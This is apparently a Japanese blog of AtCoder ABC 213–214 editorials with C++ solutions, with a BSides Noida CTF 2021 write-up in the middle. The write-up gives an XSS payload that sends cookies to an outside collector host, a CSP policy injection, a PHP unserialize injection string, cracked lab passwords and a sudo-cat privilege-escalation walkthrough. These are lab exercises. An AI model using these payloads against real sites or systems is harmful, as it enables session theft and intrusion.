はまやんはまやんはまやん

hamayanhamayan's blog

Distribution [AtCoder Beginner Contest 214 C]

https://atcoder.jp/contests/abc214/tasks/abc214_c

解説

https://atcoder.jp/contests/abc214/submissions/25034924

今回の問題は少し制約を緩めたものから考えるのがよい。
円周上というのをやめて一直線上で動けるということを考えることにすると、
解法を思いつく人も結構いるかもしれない。

円周をやめる

すると、DPで解けそうな感じがしてくる。
(DPでなくてもいいのだが、DPのコンテキストに乗せると理解が早いと思ってそうした)

dp[i] := i番目に宝石が来る最短時間

1番目のすぬけ君は宝石を直接もらうしかないので、dp[0] = T[0]
それ以降は前のすぬけ君からもらうこともできるので、dp[i] = min(T[i], dp[i - 1] + S[i - 1])となる。
ここが理解できているとかなり解法に近づけている。

円周を入れる

例えば 1 2 3 4 5とすぬけ君がいて、4->5->1->2と宝石が動いて2番目のすぬけ君が最適に受け取るという
ルートもあり得る。なので、問題にもあるように円周を戻してどうなるか考えてみる。
DP構造もループさせてみよう。
つまり、dp[0] = min(T[0], dp[N - 1] + S[N - 1])で更新ができるということである。
仮にこれでdp[0]がより良い結果となった場合、それがdp[1]にも影響する可能性がある。
なので、1度DPを行った場合に2周目を行う必要がある。

しかし、3周目以降は行う必要が無く2週目までで問題ない。
これは1周を超えて宝石を渡すのは自明で無駄な行為であるからである。

DPは必要か?

DPの方が分かりやすい場合はこれで答えてもいいし、DPの更新を見てみると1つ前の要素しか見ていないので、
1つ前の要素、より直接的な表現をすると、これまでの最適解を保持しながら2周分更新処理をやっていけば
答えが求まる。自分の実装はそうなっている。

int N, S[201010], T[201010];
int ans[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> S[i];
    rep(i, 0, N) cin >> T[i];

    int mi = inf;
    rep(i, 0, N) {
        chmin(mi, T[i]);
        ans[i] = mi;
        mi += S[i];
    }
    rep(i, 0, N) {
        chmin(mi, T[i]);
        chmin(ans[i], mi);
        mi += S[i];
    }

    rep(i, 0, N) printf("%d\n", ans[i]);
}

How many? [AtCoder Beginner Contest 214 B]

https://atcoder.jp/contests/abc214/tasks/abc214_b

解説

https://atcoder.jp/contests/abc214/submissions/25065793

今回の問題は枝刈り全探索という方針を用いる。
全探索をしていくのだが、自明な「枝刈り」、つまり、探索を途中でストップすることで、
無駄な探索を大幅に省くことができて、高速化でき、ACできるということになる。
色々な場面でこのような方針は適用することができるが、その有効性を学ぶのによい問題であると思う。

全探索

枝刈りしない全探索を書く。
といっても既に一部枝刈り済みとも取れるが、a,b,cの範囲を雑に指定して探索していくことを考えてみよう。
a+b+cの総和がS以下である必要があるので、a,b,cは少なくとも0~Sの範囲になっているはずである。
よって、a,b,cを0~Sの範囲でループさせる3重ループを書くので、全部で109通りの組み合わせを確かめていく。
競プロでは組み合わせは多くても107通りくらいしか探索できないので、これでは間に合わない。
別の良い方をすると計算量がO(S3)となるので間に合わない。

「枝刈り」

ある一定のルールで探索をストップすることにする。
C++で言えばbreakを使ってループを途中で抜けることにする。
その一定のルールとは「a+b+c≦S」か「abc≦T」のどちらかが満たされなくなったら、即ループを抜けて終了する。
これだけで大幅に探索状態が削減されてTLE(計算時間超過)からACにすることができる。

気持ち沢山の探索範囲を減らせそうな感じはする。
特にabc≦Tという条件が割と厳しい。少し緩いab≦Tという条件で考えてみる。
T=100であるとき、a=1ならばb=1...100の100通りだが、a=2ならばb=1...50の50通りと半減してしまう。
aが大きくなれば使えるbはより急激に少なくなるし、abc≦Tならなおさらである。

より厳密な話

より厳密にこの枝刈りに正当性を与える知識をここに書いておく。
高度合成数 - Wikipedia
高度合成数という話があり、約数の個数は一般にかなり小さくなり、この小ささを利用してアルゴリズム
作っていく問題も多くある。
abcの組はT以下の数の因数分解の結果となる。
Tの上限は10000であり、その場合の約数の個数の最大は72個なので、abcと3つの因数に分解する組合せも
かなり少なそうという仮定が立つ。
ここまで思考が進んでいれば、肌感でかなり間に合いそうな感じがする。
心配なら今回の問題ではS=100, T=10000で計算量が最大になるので、
これでコードテストを使ってストレステストしてもいい。

int S, T;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> S >> T;

    int ans = 0;
    rep(a, 0, S + 1) rep(b, 0, S + 1) rep(c, 0, S + 1) {
        if (S < a + b + c) break;
        if (T < a * b * c) break;
        ans++;
    }
    cout << ans << endl;
}

BSides Noida CTF 2021 Writeups

CTFtime.org / BSides Noida CTF
解けたやつだけ。

Web

Baby Web

ソースのindex.phpを見ると、db参照していることが分かる。
$this->open('./karma.db');
SQLiteでよくあるdbにそのままアクセスできてしまうアレではないか探ってみると、ダウンロードできる。
http://ctf.babyweb.bsidesnoida.in/karma.db
DB Browser for SQLiteを使って中身を見るとフラグが書いてある。

Basic Notepad

適当にログインして、触ってみるとXSSの問題のようだ。
適当にpayloadを入れてみると、GETリクエストで何やら送られていることが分かる。

msgにはURL safeなBase64デコードで文字が入っている。jsは動いてないな。
tokenはなんだろう。よくわかっていない。
jsが動かない原因を探っていこう。

CSPか。
Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none'; script-src-elem 'none'; report-uri /report/T0r3RdviLu3IronQMXXW0g
defaultがないな。report-uriは試しに踏んだが、存在しなかった。

CSPには死角が無いように見えるが、tokenが差し込まれている部分でCSPのポリシーをinjectionできそうだ。

msgとして<img src=1 onerror="window.location.href='https://oh97z6pmjx5deoubfcrfp7e7pyvpje.burpcollaborator.net?get='+document.cookie">をいれて、
tokenとして、; script-src-attr 'unsafe-inline'をURLエンコードしたものを入れる。
すると、CSPの最後に新たにscript-src-attrポリシーが追加されるので、imgタグのjsコードが動いてくれる。

これを送ると、セッションっぽいのが抜けて、それを使ってログインすれば、フラグが得られる。
GET /?get=auth=YWRtaW46djNyeTUzY3IzdFA0c3N3MHJkZGRk
-> admin:v3ry53cr3tP4ssw0rdddd

wowooo

ソースコードを見ると

PLSSS DONT HACK ME!!!!!!
<!-- debug -->

とあるので、/?debugするとソースコードが見られる。
入力があって、シリアライズされた配列に直接入れこんでunserializeして、2番目の要素を指定の文字列に書き換える。
Injection的なことをするんだろうと推測しながら手元で色々実験してみると、以下のようなコードで配列の要素をうまく差し込めそうな感じがする。

<?php
var_dump(unserialize('a:2:{i:0;s:1:"A";i:1;s:1:"B";}i:2;s:1:"C";}'));

これをやると末尾の無駄な文字列は無視されてarray(2) { [0]=> string(1) "A" [1]=> string(1) "B" }と出る。
";i:1;s:19:"V13tN4m_number_one ";}が答えっぽいが、これではダメ。
コードを使って、デシリアライズ前の文字列を見てみるとa:2:{i:0;s:34:"";i:1;s:19:"V13tN4m_number_one ";}";i:2;s:1:"C";}となっていて、
1要素目が空になっているのに34文字となっている。
確かにコードを見ると、そういう感じになる。

ここで、よくわからないフィルターが役に立つ。
コード長を確認した後にフィルターを使っているので、flagが1つ含まれていれば文字を2文字増やすことができる。
34文字分増えているので、それを帳消しにするには17回flagを入れればいいので、
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}
を入れるとフラグが出てくる。

misc

Psst

圧縮ファイルが与えられて沢山ファイルがある。
適当にファイルを見てみると、フラグが先頭から出てくるような雰囲気になっている。

最適解ではなさそうだが、以下のやり方で採取してきた。シェル芸を勉強するのはちょっと面倒なので、なるべく持ってる知識でやった

  1. find . -type f -exec tail -n+1 {} +でフォルダ内を全部表示
  2. 順番がごちゃごちゃなので、マルチカーソルで番号を文字を取り出してくる
  3. 表計算ソフトでソート
  4. 一行に戻すとフラグ

Death Note

普通にTryHackMeする問題。

ユーザー権限獲得まで

とりあえずnmapすると、21,22,80が空いている。
80を覗いてみるが、特に面白そうなものはない。
FTPでanonymousいけるっぽいので探索してみる。
特に何もないな。wordlistがあるので、80でディレクトリスキャンしてみよう。
/ryuk.applesというのが刺さり、プライベート鍵が公開されている。
johnで解析するとパスワードはl1ght1skir4とのことで、これでログインしよう。
ssh -i ./pri.key ryuk@$IPでパスワード指定するとログインできる。

ルート権限獲得まで

/home/mrgrepを見てみると.sudo_as_admin_successfulという隠しファイルが見つかる。
mrgrepの権限が取れればルート権限まで行けそうだが…?

よく見ると、ryukのホームディレクトリにshadowファイルが置いてある。
ラテラルムーブメントか。
john the ripperと与えられた辞書ファイルを使うと、lightのパスワードが分かる。
MrBS1d3sGrepN0ida@!1337

lightでログインできたので、linpeasを動かしてみる。

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
Matching Defaults entries for light on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User light may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat

catがsudoで動かせるとのこと。
cat | GTFOBins
ここを見ると、好きなファイルを覗き見ることができるようだ。
/home/mrgrep/.bash_historyが怪しいなと思っていたところだったので、この中身を見てみる。
すると/root/root.txtというパスが新たに得られるので、このファイルを同様のテクニックで見てみるとフラグが書いてある。

Common Prefixes [AtCoder Beginner Contest 213 F]

https://atcoder.jp/contests/abc213/tasks/abc213_f

前提知識

解説

https://atcoder.jp/contests/abc213/submissions/24898387

Suffix ArrayとLCPの知識が無ければ、まず解くことはできない。
以下で軽く説明するが、他方で勉強する方がオススメ。

愚直解

問題で要求されている問題をそのまま解くのも意外と難しく、前提知識が要求される。
なので、まずは愚直解が解けるかどうかがポイントになる。
f(S[k], S[i])を高速に解くための方法がSuffix Array+LCPになる。

前提知識1: Suffix Array

これは文字列Sのsuffix(接尾語)を辞書順に並べた配列のことである。
接尾語?という感じかもしれないが、今回の問題は接尾語の集合に対する操作になっている。
abcにはabc, bc, cという接尾語のレパートリーがあり、それらの類似度を独自に計算している。

Suffix Arrayの雰囲気を軽く説明する。
aabaacという文字列に対してSuffix Arrayを考えてみる。
接尾語を書き下すと

aabaac  
abaac  
baac  
aac  
ac  
c  

となる。これを辞書順に並べると

aabaac  
aac  
abaac  
ac  
baac  
c  

となる。これを得るのが、Suffix Array
本当は、具体的にはどこから始まったかだけが得られるので{0,3,1,4,2,1}が得られる。

前提知識2: LCP

LCPは今回の類似度で要求されている先頭から何文字同じかを求めるものであり、Suffix Arrayの場合であれば、
辞書順に並べたときに隣接する文字列で何文字同じかを求めたものになる。

aabaac  
aac  
abaac  
ac  
baac  
c  

この例を再度使うと、隣接する文字列で何文字同じかを見ればいいので

2  
1  
1  
0  
0  

となる。
このSuffix ArrayとLCPと区間最小値のセグメントツリー(またはスパーステーブル)によって任意の接頭語同士の
先頭から同じ文字数を高速に求めることができる。
例えば、aabaacとabaacの同じ文字数を求めたいときは、まずはSuffix Arrayのどことどこにあるかを見つけて

> aabaac  
  aac  
> abaac  
  ac  
  baac  
  c  

その間にあるLCPの最小値を求めれば、{2, 1}なので1であり、それが2つの接尾語の共通する先頭文字列数となる。
このようにSuffix ArrayとLCPが求められていれば、2つの接尾語の共通する先頭文字列数、f(S[k], S[i])は
区間minが計算できれば求めることができるようになる。
区間minをスパーステーブルを使うことができれば、愚直解はO(N2)で計算することができる。
ここまでをしっかり理解できる所が折り返し地点となる。

なお、Suffix ArrayとLCPについてはAtCoder Libraryにライブラリがあるので活用するといい。
区間minの部分については自分で何とかする。
自分は丸ごとライブラリにしてある。

高速化へ

高速化への糸口を探すために以下の例を使おう。
Suffix Arrayの順番になっているので、答えるときはもともとの順番に変換する必要があるが、そこは頑張って。

1 aabaac  
2 aac  
3 abaac  
4 ac  
5 baac  
6 c  

f(S[k], S[i])を計算していくが、ここでi<kに限定して計算していくことをまずは考えていく。
i=kについては事前に文字数分足し合わせておくことにして、i>kについてはこれから説明することを順番をひっくり返してやればいい。
まあ、とにかくi<kの場合に限定して考えてみる。

k=1の場合は特に何もしない。

k=2の場合はf(S[2], S[1])を計算すればいい。これはこれまでに説明したことからできる。

k=3の場合はf(S[3], S[2])+f(S[3], S[1])を計算すればいい。
この後半部分は、最小値が計算されているということを考慮すると、

f(S[3], S[1]) = min(f(S[3], S[2]), f(S[2], S[1]))

となる。これがすごい大事なので、ちゃんと理解してほしい。
f(S[3], S[1])はLCP的にはmin(lcp[3][2], lcp[2][1])を取っているような感じになるので、
f(S[3],S[2])=lcp[3][2], f(S[2],S[1])=lcp[2][1]であることを考えると筋が通る。

k=4の場合はf(S[4], S[3])+f(S[4], S[2])+f(S[4], S[1])を計算すればいい。
これも同様に考えてみると、
f(S[4], S[2]) = min( f(S[4],S[3]), f(S[3], S[2]) )
f(S[4], S[1]) = min( f(S[4],S[3]), f(S[3], S[1]) )
となる。

さて、これがなんだ?という話に戻るが、とあるkを処理する場合にk-1から高速に差分計算をすることで
f(S[k], S[k-1]) + f(S[k], S[k-2]) + ... + f(S[k], S[1])を計算することができるということである。

f(S[k-1], S[k-2]) + f(S[k-1], S[k-3]) + ... + f(S[k-1], S[1])

がもともとあったとして、すべての要素に対してf(S[k], S[k-1])とminを取る。すると、

f(S[k], S[k-2]) + f(S[k], S[k-3]) + ... + f(S[k], S[1])

こういう風に値が変化するので、あとは、f(S[k], S[k-1])を足せば

f(S[k], S[k-1]) + f(S[k], S[k-2]) + f(S[k], S[k-3]) + ... + f(S[k], S[1])

となって差分計算ができる。この理解が最後の山になるので頑張ってほしい。
これが分かれば、あとは、

  • 全体にmin xを取る
  • xを入れる
  • 総和を求める

ことができるデータ構造があれば答えを求めることができる。
ここまで理解できれば、もうほぼ解けているし、ここまで分かる人にとってはデータ構造づくりは大丈夫。

データ構造

自分はstackを使って実装した。
{数, その数の個数}をstackに入れる感じで実装した。
別途、stackに入っている数の総和をtotとしてもっておく。
stackには深いほど小さい数が入っているような感じにしておいて、新しい数xを入れるときに、
xより大きい数は取り出してtotから引いて、その数をxに変換してstackとtotに入れなおすということをする。
つまり、stackには狭義単調減少している状態を保ちながら、総和を持っておくシステムである。

こうすることで毎回min操作でstackに入れる回数は1回になり、stackから出す回数は入れる回数を上回るわけはないので、
stackに入れる回数がO(N)で抑えられるので全体としてはO(N)で実装が行える。

int N; string S;
ll ans[1010101];
//---------------------------------------------------------------------------------------------------
stack<pair<int, int>> que;
ll tot = 0;
void init() {
    while (!que.empty()) que.pop();
    tot = 0;
}
void add(int x) {
    int cnt = 1;
    while (!que.empty()) {
        if (que.top().first < x) break;

        auto q = que.top(); que.pop();
        tot -= 1LL * q.first * q.second;
        cnt += q.second;
    }

    tot += 1LL * x * cnt;
    que.push({ x, cnt });
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> S;

    SuffixArraySAIS sais(S);

    rep(i, 1, N + 1) ans[sais.sa[i]] = N - sais.sa[i];
    rep(i, 2, N + 1) {
        add(sais.common_prefix(sais.sa[i - 1], sais.sa[i]));
        ans[sais.sa[i]] += tot;
    }
    
    init();
    rrep(i, N - 1, 1) {
        add(sais.common_prefix(sais.sa[i + 1], sais.sa[i]));
        ans[sais.sa[i]] += tot;
    }

    rep(i, 0, N) printf("%lld\n", ans[i]);
}

Stronger Takahashi [AtCoder Beginner Contest 213 E]

https://atcoder.jp/contests/abc213/tasks/abc213_e

前提知識

解説

https://atcoder.jp/contests/abc213/submissions/24896937

確かに01BFSで解けるというか、まんまですね…
最終的な最短距離を求める方法がダイクストラでもいいし、計算量がより良い01-BFSでもいいしという感じです。
本解説では、辺の貼り方を重点的に説明するので、そのあたりを理解してもらえれば、あとはどっちかを使って計算する感じです。
あと、01-BFSの解説は以下がオススメです。
01-BFSのちょっと丁寧な解説 - ARMERIA
一応はっきりさせておくと、今回はコスト0の辺があるので普通のBFSだとWAします。

最短経路問題

今回の問題は最短経路問題であり、その場合によく使われるダイクストラとかその方面で考え始めることができれば答えに近づくことができる。
ダイクストラで問題を解く方向で考えていこう。
(最終的に辺のコストは0か1になるので、01-BFSでも解けるねってなります)
パンチという条件がかなり珍しい条件であるので、それをいかに条件に組み込めるかが重要になる。

隣接移動

隣接するマスへの移動は壁が無ければコスト無しで(パンチ無しで)移動することができる。
よって、隣接する4マスについては壁が無ければ辺のコスト0で辺を貼ることにする。
これはいいだろう。

パンチ

パンチを1回繰り出すことで移動できる場所について考えてみる。

.ooo.  
ooooo  
ooxoo  
ooooo  
.ooo.  

現在xにいるとして周りがすべて壁に囲まれていたと仮定すると、oがついている所はすべて1回のパンチで移動可能となる。
よって、xからoへの遷移はコスト1の辺を貼ってしまっていい。
要は、この移動に関しては壁があるかどうかにかかわらずパンチして移動すると考えるのである。

こうすると、無駄にパンチを打ってしまいそうな気もするのだが、コスト0の隣接移動も辺は貼っているので、
パンチの必要が無ければそっちの辺が採用されて最適解が求まる。

これはダイクストラとかでよく自分が使うテクだが、無駄な辺があっても実装が楽になるなら残しておくようにしている。
実際は間に壁が無ければコスト1の辺は貼る必要はないのだが、あっても最適解は求まるので、
大変な判定を実装するよりかはそのまま貼ってしまってアルゴリズムに任せる方針をよく取る。
(非本質な延長線上のテクだが、辺の貼り方にあんまり自信がないときに関係なさそうだけど貼っとくかという感じで無駄な辺を貼ってみたりもする)
(こんなことしてるから競プロが上達しない)

あとは最短経路を求めるだけ

普通にダイクストラを書いて、遷移可能な隣接する4マスへコスト0の辺と、パンチで遷移可能なマスへコスト1の辺の遷移をすれば答えまで導ける。
パンチでの遷移については、[y-2,y+2]と[x-2,x+2]の2重ループでうまいこと書いた。
端っこだけ遷移できないので、マンハッタン距離が4の場合は遷移しないようにした。
無駄な(x,y)から(x,y)へのコスト1の遷移も含まれているが、前述の理由により残している。

int H, W;
string S[505];
template<typename T> using min_priority_queue = priority_queue<T, vector<T>, greater<T>>;
int vis[505][505];
int opt[505][505];
int dx[4] = { 0, 1, 0, -1 }, dy[4] = { -1, 0, 1, 0 };
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W;
    rep(y, 0, H) cin >> S[y];

    rep(y, 0, H) rep(x, 0, W) opt[y][x] = inf;
    
    min_priority_queue<pair<int, int>> que;
    que.push({ 0, 0 });
    opt[0][0] = 0;

    while (!que.empty()) {
        auto p = que.top(); que.pop();

        int cst = p.first;
        int y = p.second / W;
        int x = p.second % W;      

        if (vis[y][x]) continue;
        vis[y][x] = true;

        rep(d, 0, 4) {
            int xx = x + dx[d];
            int yy = y + dy[d];
            if (0 <= xx && xx < W && 0 <= yy && yy < H) {
                if (S[yy][xx] == '.') {
                    if (chmin(opt[yy][xx], opt[y][x])) {
                        que.push({ opt[yy][xx], yy * W + xx });
                    }
                }
            }
        }

        rep(yy, y - 2, y + 3) rep(xx, x - 2, x + 3) {
            if (abs(x - xx) + abs(y - yy) == 4) continue;
            if (0 <= xx && xx < W && 0 <= yy && yy < H) {
                if (chmin(opt[yy][xx], opt[y][x] + 1)) {
                    que.push({ opt[yy][xx], yy * W + xx });
                }
            }
        }
    }

    cout << opt[H - 1][W - 1] << endl;
}

Takahashi Tour [AtCoder Beginner Contest 213 D]

https://atcoder.jp/contests/abc213/tasks/abc213_d

前提知識

  • dfs

解説

https://atcoder.jp/contests/abc213/submissions/24895917

今回の問題はDFSというか、オイラーツアーというかという問題。
とにかく木上での深さ優先探索ができるなら解ける問題。

何から始めるのか

正直この問題を見たときにオイラーツアーが思い浮かんだので、そこから考えると解けた。
オイラーツアーについて勉強している人にとっては思いつきやすかったかもしれない。

だが、ルールに従ってシミュレーションをしてみると、移動の軌跡がちょうど木上でのDFSと同じ挙動になっているので、
とりあえずDFSでやってやればよさそうと感じ取れるかもしれない。

今回の問題の解法はただシミュレーションするだけである。

シミュレーション

木上のDFSをするときに隣接グラフを持つと思うが、その隣接グラフの各配列(遷移先をまとめた配列)は昇順ソートしておこう。
これは、ルールに含まれる「いまいる都市と道路で直接つながっている都市のうち、まだ訪れたことがない都市が存在するとき、
そのような都市のうち番号が最も小さい都市へ移動する」を満たすためである。
さて、まず都市1からスタートするので、dfsのスタート地点もそこから始める。
そこから遷移を始めていくが、どれもまだ訪れていない都市なので、遷移先で最小のもの(昇順ソートしているので最初のもの)を選んで移動する。
移動したら、都市番号を出力しておく。
で、遷移後にまた移動していくが、都市1から来ていて、そこはすでに訪れているので、先にそれ以外の頂点を訪れる必要がある。
で、全部訪れたら遷移元に戻っていく。
これはまさしくDFSの操作である。

なので、遷移先を昇順ソートしていけば、後はDFSをすれば勝手にルールを満たす動きになる。
後は、適切に都市番号の出力を行っていけば答えが構築できる。

int N;
vector<int> E[201010];
//---------------------------------------------------------------------------------------------------
void dfs(int cu, int pa = -1) {
    if (cu != 0) printf(" ");
    printf("%d", cu + 1);

    fore(to, E[cu]) if (to != pa) {
        dfs(to, cu);
        printf(" %d", cu + 1);
    }
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        E[a].push_back(b);
        E[b].push_back(a);
    }
    rep(i, 0, N) sort(all(E[i]));
    
    dfs(0);
    printf("\n");
}

Reorder Cards [AtCoder Beginner Contest 213 C]

https://atcoder.jp/contests/abc213/tasks/abc213_c

前提知識(というかそのもの)

  • 座標圧縮

解説

https://atcoder.jp/contests/abc213/submissions/24895309

今回の問題は座標圧縮という典型アルゴリズムの実装を要求されている。
座標圧縮を理解すれば、この問題はそれを使うだけで解くことができるので、
ググって理解してくることをオススメする。
…と書くと、書くことがなくなってしまうので、座標圧縮自体を今回は説明することにする。
解説にも相性があると思うので、以下が分からなかったら、適当に調べて色々見てみることを勧める。
先に書いておくと、図は作らないので、確実に他の記事の方が分かりやすい。

座標圧縮

座標圧縮が目標とすることは、2 4 7という数列に対して、小さい方から0,1,2と番号を振りなおす作業のことである。
よって2 4 7に対して「座標圧縮をする」と0 1 2と変換される。
4 1 9であれば1 0 2になるし、4 3 3 1なら2 1 1 0となる。
なんとなく何をしているかは分かると思うが、活用例が思いつかないと何のための操作か分からないかもしれない。

座標圧縮をどうやって実装するか

今まで2通りの実装方法を見たことがある。
ソートを使う方法とmap(連想配列)を使う方法であるが、今回はソートの方法でやってみる。

vector<int> ys;  
rep(i, 0, N) ys.push_back(A[i]);  
sort(all(ys));  
ys.erase(unique(all(ys)), ys.end());  
rep(i, 0, N) A[i] = lower_bound(all(ys), A[i]) - ys.begin();  

配列Aに対して座標圧縮を適用している。
まず、配列Aの要素の全てを1つの配列ysに移し替える。
次に移し替えた配列ysをソートして、unique関数とerase関数を組み合わせることで重複した要素を削除する。
これで、配列ysはソート済みで、かつ、配列Aに入っている数が重複なく入っている配列となる。
これがあればlower_boundを使って、あるA[i]が配列ysの何番目にあるかを高速に求めることができる。
そして、その何番目かという部分が座標圧縮後の値になっているので、それに置き換えていけば完了。
なお、座標圧縮前の数に戻したいときは配列ysを使えば、座標圧縮後のyは、座標圧縮前のys[y]となる。

さて…

この説明で座標圧縮が伝わっているといいのだが、これを使えば今回の問題は解ける。
今回の問題に戻ると、今回の問題は使われていない行や列を削除すると、最終的な座標はどうなりますか?という問題である。
これは0 4 90 1 2と変換されることを間を詰める、使われていない間の数を削除して詰めることとよく似ている。
というか同じことである。
そして、行と列の操作は互いに全く影響しない、もう少し具体的に言うと、列を1つ削除しても使われている行が使われなくなったり、
使われていない行が使われることは発生しない。
よって、行と列は独立に、それぞれ分けて変換しても問題ない。
なので、配列Aと配列Bに対して座標圧縮を行って1-indexedで答えれば答えとなる。

int H, W, N, A[101010], B[101010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W >> N;
    rep(i, 0, N) cin >> A[i] >> B[i];

    vector<int> ys;
    rep(i, 0, N) ys.push_back(A[i]);
    sort(all(ys));
    ys.erase(unique(all(ys)), ys.end());
    rep(i, 0, N) A[i] = lower_bound(all(ys), A[i]) - ys.begin();

    vector<int> xs;
    rep(i, 0, N) xs.push_back(B[i]);
    sort(all(xs));
    xs.erase(unique(all(xs)), xs.end());
    rep(i, 0, N) B[i] = lower_bound(all(xs), B[i]) - xs.begin();

    rep(i, 0, N) printf("%d %d\n", A[i] + 1, B[i] + 1);
}